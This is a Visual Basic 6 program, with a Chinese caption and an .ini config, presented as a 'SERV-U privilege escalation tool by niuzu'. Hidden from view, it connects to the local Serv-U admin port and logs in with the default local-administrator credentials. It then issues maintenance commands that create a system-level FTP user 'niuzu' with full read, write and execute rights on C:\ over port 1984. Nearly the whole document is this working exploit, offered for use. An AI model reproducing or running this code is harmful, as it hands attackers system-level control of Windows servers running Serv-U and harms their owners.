连接本地serv-u 43958管理端口新建一个用户名niuzu 密码nz88的系统用户,端口在1984
Dim homedir As String
Dim n, lport, ftpport As Double
Private Sub Form_Load()
On Error Resume Next
Dim appname As String
Dim tmp
Form1.Visible = False
Form1.Caption = "SERV-U权限提升工具by niuzu"
If Right(App.Path, 1) <> "\" Then
appname = App.Path & "\" & App.EXEName & ".ini"
Else
appname = App.Path & App.EXEName & ".ini"
End If
If Dir(appname) <> "" Then
Open appname For Input As #1
Line Input #1, tmp
lport = Mid(tmp, 11)
Line Input #1, tmp
ftpport = Mid(tmp, 9)
Line Input #1, tmp
homedir = Mid(tmp, 9)
Close
Else
lport = 43958
ftpport = 1984
homedir = "c :\"
End If
Winsock1.RemoteHost = "127.0.0.1"
Winsock1.RemotePort = lport
Winsock1.Close
Winsock1.Connect
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
n = n + 1
If n < 3 Then
Winsock1.SendData "USER localadministrator" & vbCrLf
Winsock1.SendData "PASS #l@$ak#.lk;0@P" & vbCrLf
Winsock1.SendData "SITE MAINTENANCE" & vbCrLf
Winsock1.SendData "-SETDOMAIN" & vbCrLf
Winsock1.SendData "-Domain=MYFTP|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf
Winsock1.SendData "-DynDNSEnable=0" & vbCrLf
Winsock1.SendData " DynIPName=" & vbCrLf
Winsock1.SendData "-SETUSERSETUP" & vbCrLf
Winsock1.SendData "-IP=0.0.0.0" & vbCrLf
Winsock1.SendData "-PortNO=" & ftpport & vbCrLf
Winsock1.SendData "-User=niuzu" & vbCrLf
Winsock1.SendData "-Password=nz88" & vbCrLf
Winsock1.SendData "-HomeDir=" & homedir & vbCrLf
Winsock1.SendData "-Maintenance=System" & vbCrLf
Winsock1.SendData "-Ratios=None" & vbCrLf
Winsock1.SendData " Access=" & homedir & "|RWAMELCDP" & vbCrLf
Else
End
End If
End Sub
*.ini文件内容如下
localport:43958
ftpport:1984
homedir:c:\